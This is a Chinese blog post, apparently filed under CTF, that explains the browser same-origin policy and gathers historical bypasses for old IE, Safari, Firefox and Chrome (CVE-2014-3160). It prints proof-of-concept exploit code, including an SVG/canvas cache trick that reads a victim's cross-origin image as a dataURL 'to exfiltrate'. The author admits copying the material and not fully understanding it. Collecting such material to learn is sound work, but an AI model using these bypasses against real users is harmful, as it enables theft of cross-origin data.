美文网首页ctf
绕过同源策略

绕过同源策略

作者: _Deen | 来源:发表于2018-05-09 15:12 被阅读287次

绕过同源策略

理解同源策略

Same Origin Policy , SOP。同源策略的含义就是对于不同的页面,如果他们的主机名、协议和端口都相同,那他们就是同一来源。否则不是。

image

参考链接: https://www.anquanke.com/post/id/86078

SOP和DOM

javascript以及其他协议访问DOM时,需要评估URL的三个部分: 主机名、协议和端口。如果两个站点拥有相同的主机名、协议和端口,那么就可以访问DOM。唯一的例外就是IE, 在授权DOM时只验证主机名和协议。

当根玉面下其他主机需要访问源页面的DOM时候,比如open.example.com需要通过login.example.com进行认证时,这些站点可以设置document.domain属性,允许同一域名下的其他站点访问DOM,上面例子可以将 document.domain = "example.com"

参考: 设置document.domain实现js跨域

SOP与CORS

默认情况下,使用XMLHttprequest(XHR)向不同源发送请求,请求可以到达目标网站,但是SOP会阻止读取响应。为了允许XHR通信,需要设置CORS。

如下:

Access-Control-Allow-Origin: *.example.com
Access-Control-Allow-Methods: OPTIONS, GET, POST
Access-Control-Allow-Headers: X-custom
Access-Control-Allow-Credentials: true
<script>
var url = 'http://hack.com/authen;
var xhr = new XMLHttpRequest()
xhr.open('GET',url,true);
xhr.withCredentials = true;
xhr.onreadystatechange = do_something();
xhr.send();

</script>

SOP与插件

理论上,如果插件来自http://example.com:80/ 那么插件只能访问http://example.com:80/。但实际中,会出现各种各样的sop绕过的情况。举一个例子。

Adobe flash提供一种管理跨域通信的机制,就是在不同源下面的网站根目录放一个crossdomain.xml文件,内容大致如下

<?xml version="1.0">
    <cross-domain-policy>
        <site-control permitted-cross-domain-policies="by-content-type">
        <allow-access-from domain="*.excample.com" />
    </cross-domain-policy>
    

有了这个文件就可以在所有子域中应用相互通信。Java和Silverlight也支持crossdomain.xml. Silverlight先查找clientaccesspolicy.xml找不到再查找crossdomain.xml。

IE绕过同源策略

Internet Explorer8 Beta2 及以下版本存在sop绕过漏洞,只需要简单覆盖document对象和domain属性。

var document;
document = {};
document.domain = 'baidu.com';
alert(document.domain);

image

比较老旧,最新的可以参考这个

CVE-2016-7281:IE/Edge同源策略绕过漏洞

Safari中绕过SOP

使用file协议打开html,里面的js可以绕过同源策略

<html>
<body>
<h1> I'm a local file loaded using the file:// scheme </h1>
<script>
xhr = new XMLHttpRequest(); xhr.onreadystatechange = function (){ if (xhr.readyState == 4) { alert(xhr.responseText);
}
}; xhr.open("GET", "http://httpsecure.org/docs/safari_sameoriginpolicy_bypassing/other_origin.html"); xhr.send();
</script>
</body>
</html>

firefox中绕过SOP

比较久远,在firefox16出现过。提一下。

<!Doctype html>
<script>
function poc() {
var win = window.open('https://httpsecure.org/abc/', 'newWin',
'width=200,height=200');
setTimeout(function(){
alert('Hello '+/^https:\/\/httpsecure.org\/([^/]+)/.exec(
win.location)[1])
}, 5000);
}
</script>
<input type=button value="Firefox knows" onclick="poc()">

在一个你操控的源上执行上面的代码,浏览器会弹出另一个选项卡进行HTTPS验证。加载httpsecure.org/abc以及重定向到 https://httpsecure.org/ <user_uid>/lists(user_uid是你的httpsecure handle)。5秒钟之后,exec函数将触发window.location对象解析正则表达式,这会导致在警告框中显示httpsecure handle。

参考 Firefox本地文件泄露以及同源策略绕过

Chrome同源策略绕过(CVE-2014-3160)

chrome’s M36的发型版本中修复了这个漏洞,需要一定的步骤才能验证这个漏洞,原来这篇文章在bobao360上的,现在改成安全客的网址,链接已经丢失,使用google cache才访问得到。

相关文章内容如下。

通过svg导入外部的内容到画布(canvas),步骤如下

  1. 在恶意站点,部署恶意的SVG

  2. 载入外部的内容

  3. 简单渲染SVG

  4. 生成dataURL表单

poc

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink">
  <rect fill="#bbbbbb" width="500" height="300"/>
  <image x="0" y="0" width="400" height="250" 
      xlink:href="https://victim.tld/secret/secret.jpg"/>
</svg>

但是这么做是被同源策略拒绝的

通过浏览器缓存来重置trainted 标识,相关代码如下

This exploit can be performed completely without user interaction. 
The following buttons are just to help you in understanding the exploit 
and how it works: To run it press "exploit step 1" button 
followed by "exploit step 2"
<input type="button" value="exploit step 1" onclick="go1()">
<input type="button" value="exploit step 2" onclick="go2()">
<!-- Populates the image cache with the "secret" cross-origin image -->
<object data="exploit.svg" type="image/svg+xml"></object>
<!-- Canvas (hidden) to strip the cross-origin image into dataURL later 
(can also be hidden using style="display:none" !) -->
<canvas id="canvas" width="700" height="500"/>
<script>
  function importSVG(source, target) {
    var ctx = target.getContext("2d");
    var img = new Image();
    img.src = source;
    img.onload = function() {
      ctx.drawImage(img,0,0);
    }
  }
  // load the attacker's exploit.svg into the Canvas 
  // (note the exploit.svg itself references the victim's 
  // secret cross-origin image!)
  function go1() {
    var canvas = document.getElementById("canvas");
    importSVG("exploit.svg", canvas);
  }
  // tries to exfiltrate the cross-origin image by converting 
  // the canvas into dataURL:
  function go2() {
    var img = canvas.toDataURL("image/png");
    alert("I got the secret image here to exfiltrate stealthy: "+img);
  }
</script>

image

水平有限,并没有搞懂。参考google cache:

http://webcache.googleusercontent.com/search?q=cache:FC2hqNzivlMJ:bobao.360.cn/learning/detail/288.html+&cd=2&hl=en&ct=clnk&gl=us

小结

浏览器爆cve会比较多一点,但很多都只有一个编号并没有详情。一个国外不错的技术网站:https://www.brokenbrowser.com/。内容全部搬运,自己记记看看,不喜勿喷,我技术菜还玻璃心。

参考

相关文章

  • 绕过同源策略

    绕过同源策略 理解同源策略 Same Origin Policy , SOP。同源策略的含义就是对于不同的页面,如...

  • JSONP的技术原理是什么?

    JSONP的本质是利用了 "ajax请求会受到同源策略的限制, 而script标签请求不会" 这一点来绕过同源策略...

  • 内容安全策略简介

    起源 Web的安全模型根植于同一源策略。 跨站点脚本(XSS)攻击可绕过同源策略。 内容安全策略(Content-...

  • json及jsonp注入

    json以及jsonp 前言 JSONP全名为JSON with Padding,其存在的意义便有绕过诸如同源策略...

  • 服务搭建-Nginx绕过同源策略

    什么是同源策略 所有支持JavaScript的浏览器在运行时都会拥有同源策略,这是一种安全方案,简单来说就是,将请...

  • 什么是跨域请求

    什么是同源策略 ? 同源策略 同源策略 (Same-Origin Policy) 最早由 Netscape 网景公...

  • 同源策略 & 跨域

    同源策略 1.浏览器同源策略 同源策略(Same Origin Policy,SOP)也叫单源策略(Single ...

  • 同源策略&跨域

    同源策略&跨域 什么是浏览器同源策略? 同源策略(Same Origin Policy,SOP)也叫单源策略(Si...

  • 前端基础(问答23)

    keywords: 同源策略、跨域、jsonp。 什么是同源策略(same origin policy) 同源:协...

  • 【WEB】同源策略

    0x01 同源策略 什么是同源策略?简单来说,同源策略就是同协议、同端口、同HOST。同源策略限制从一个源加载的文...

网友评论

    本文标题:绕过同源策略

    本文链接:https://www.haomeiwen.com/subject/fianrftx.html